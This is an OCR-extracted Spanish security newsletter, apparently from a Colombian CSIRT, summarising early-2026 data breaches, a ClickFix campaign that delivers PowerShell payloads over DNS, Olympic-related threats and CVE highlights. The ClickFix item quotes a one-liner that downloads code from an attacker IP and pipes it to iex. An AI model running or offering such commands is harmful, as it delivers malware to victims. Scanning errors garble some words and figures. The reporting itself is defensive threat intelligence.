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7 filtraciones y exposiciones de datos
que debe conocer enero de 2026)

El panorama de la ciberseguridad al inicio de 2026 marca un cambio en las
tacticas delictivas. Seglin informes recientes, aunque el nUmero total de victimas
ha disminuido, la cantidad de ataques ha alcanzado un récord histérico. Esto
demuestra que los cibercriminales han abandonado operaciones de precision
dirigidas a activos de alto valor y propiedad intelectual.

3.Vulnerabilidades Gubernamentales (ICE vy
DHS): El sector pablico se vio gravemente
afectado. El ICE expuso accidentalmente
datos de mas de 2,000 agentes, facilitando
un ciberataque posterior. Por su parte, el
Departamento de Servicios Humanos (DHS)
reportd incidentes que afectaron a un millon
de personas, evidenciando que los errores
humanos y los accesos no autorizados
internos siguen siendo una debilidad critica
en las instituciones.

4.Crisis en el Sector Educativo (Universidad
Monroe): Se confirmé una filtracion masiva
de datos sensibles (Seguridad Social,
pasaportes e historiales médicos) de 320,000
personas. El caso destaca por la latencia del
ataque, ocurrido en 2024 pero notificado
hasta ahora, lo que ha generado severas
repercusiones legales.

6.El Megahallazgo de Credenciales: ElI
investigador Jeremiah Fowler descubrido una
base de datos expuesta de 96 GB con 149
millones de registros. Este hallazgo es
alarmante por su escala: incluye millones
de cuentas de Gmail, Facebook, Instagram y
Netflix, permitiendo en muchos casos el
acceso directo a informacion bancaria y
financiera de usuarios globales.
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https://www.e-dea.co/csirtblog/filtraciones-de-datos-2026-analisis-estrategico

NUEVO ATAQUE DE CLICKFIX QUE ABUSA DE NSLOOKUP
PARA RECUPERAR LA CARGA UTIL DE POWERSHELL A
TRAVES DE DNS

Una nueva variante de los ataques ClickFix estd utilizando consultas DNS para distribuir
malware, siendo el primer caso conocido en el que este canal se emplea en estas
campanas. Los atacantes contindan enganando a los usuarios mediante ingenieria social
para que ejecuten comandos maliciosos, pero ahora recuperan la carga Gtil de una
segunda etapa desde servidores DNS controlados por ellos, lo que dificulta su deteccion.

"inr http://64.227.40.197/0 -useb | iex"

En una campana reciente observada por Microsoft, los ataques ClickFix instruyen a las
victimas a ejecutar un comando nslookup que consulta un servidor DNS controlado por el
atacante en lugar del predeterminado. La respuesta de esa consulta incluye un script
malicioso de PowerShell, el cual se ejecuta para instalar malware.

Los investigadores también detectaron una técnica de evasién en la que el comando realiza
una busqueda DNS personalizada y extrae la carga Gtil desde el campo “Name:” de la
respuesta. El ataque suele pedir a los usuarios ejecutar el comando desde el cuadro Ejecutar
de Windows, lo que permite descargar y ejecutar la segunda etapa del malware
directamente desde la respuesta DNS, dificultando su deteccién.

Aunque el servidor malicioso ya no estd activo, Microsoft informdé que el comando de
segunda etapa en PowerShell descargaba mds malware desde infraestructura controlada
por los atacantes.

El ataque terminaba descargando un archivo ZIP con un entorno de ejecucién de Python y
scripts maliciosos que realizaban reconocimiento del sistema y del dominio
comprometido. Posteriormente, establecia persistencia mediante la creacidén de un
VBScript en el directorio %APPDATA% y un acceso directo en la carpeta de inicio para
ejecutarlo automdaticamente al arrancar el sistema.

La carga final era ModeloRAT, un troyano de acceso remoto que permite a los atacantes
controlar los equipos infectados.

A diferencia de campanas ClickFix anteriores (que solian usar HTTP para recuperar cargas
Gtiles) esta variante emplea DNS como canal de comunicacién y entrega, lo que le
permite modificar los scripts maliciosos dindmicamente y camuflarse dentro del trafico
DNS legitimo, dificultando su deteccidn.
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https://www.e-dea.co/csirtblog/clickfix-ataque-dns-nslookup-seguridad

La Guerra Hibrida llega a la Nieve: El Sabotaje
Ruso Frustrado en los Juegos de
Milan-Cortina 2026
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2026 no solo marcé el inicio de los XXV Juegos Olimpicos de Invierno en Milan y Cortina
d'Ampezzo, sino que también se convirtié en el escenario de uno de los enfrentamientos
digitales mds tensos de la década.

Mientras los atletas se preparaban para la ceremonia de apertura, en las sombras de la
red se libraba una batalla para evitar que el evento fuera saboteado antes de empezar.
Italia, en un despliegue de ciberdefensa sin precedentes, logré neutralizar una ofensiva
masiva coordinada desde territorio ruso.
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https://www.e-dea.co/csirtblog/infraestructuras-criticas-lecciones-milan-cortina-2026

Como proteger a las organizaciones
durante los Juegos Olimpicos de Invierno,
segun los CISO

2. Riesgos para Aficionados y Organizaciones
e Fraude en Entradas: Los estafadores crean sitios espejo para robar datos bancarios. No
solo es una pérdida de dinero, sino un compromiso de identidad a largo plazo.
e Datos Sensibles: El repositorio de informacién de asistentes y diplomaticos es un objetivo
prioritario que debe protegerse incluso afios después de clausurados los Juegos.
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https://www.e-dea.co/csirtblog/juegos-olimpicos-invierno-seguridad

Vulnerabilidades destacadas

Microsoft
Vulnerabilidad de ejecucidon

remota de cbédigo OLE de
Windows

N,

Critico
9.8

CVE-2025-21198

MiOSOft Vulnerabilidad de ejecucion
S\,

remota de cddigo del paquete
de  computacién de alto
rendimiento (HPC) de Microsoft

Critico
9.0

En el kernel de Linux, se ha resuelto CVE-2025-71155

la siguiente vulnerabilidad: KVM: LinuXx
s390: Se ha corregido
gmap_helper_zap_one_page().
Faltaban algunas comprobaciones
en gmap_helper_zap_one_page(),
lo que puede provocar danos en la
memoria del invitado en
determinadas circunstancias.
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https://www.e-dea.co/csirtblog/continuidad-negocio-riesgos-ti-2026-geopolitica
https://app.opencve.io/cve/CVE-2025-71155

Ciber incidentes
en Colombiay
enh el mundo

ciberseguridad en Colombia y la region

En la dltima semana, el panorama de ciberseguridad en Colombia y la regién mostré un
incremento en la explotacion de vulnerabilidades criticas, la distribucion de troyanos de
acceso remoto (RAT) a través de campanas de phishing, y ataques visibles como
ransomware contra empresas y defacement en portales institucionales.

A nivel regional, también se observaron campanas de actores como Thegentlemen,
Alphalocker, LunalLock y Spacebears, lo que refleja la diversificacidn de amenazas. Este
panorama evidencia una tendencia hacia ataques mas sofisticados, potenciados incluso
por el uso de inteligencia artificial, lo que obliga a reforzar controles técnicos en correo,
servidores web y endpoints, asi como fortalecer la concienciacion del personal para
anticipar impactos operativos y reputacionales en las organizaciones.

Mas Informacion

El mundo

Disruption
32%

Data Theft
36%

Administrativo Gobierno

Otros

Ciber
incidentes

Hijacking
Ransomware 8%

Ukraine Spain Romania Nueva Zelanda  Paises Bajos [ elice] Japan
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https://eurepoc.eu/table-view/
https://www.colcert.gov.co/800/articles-405986_COLCERT_RS__20250914__006__Reporte_semanal_Inteligencia_de_Amenazas_Ciberneticas.pdf
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https://www.linkedin.com/company/edeanetworks
https://www.instagram.com/e_deanetworks/
https://www.e-dea.co/csirt-e-dea
https://www.facebook.com/edeanetworks/
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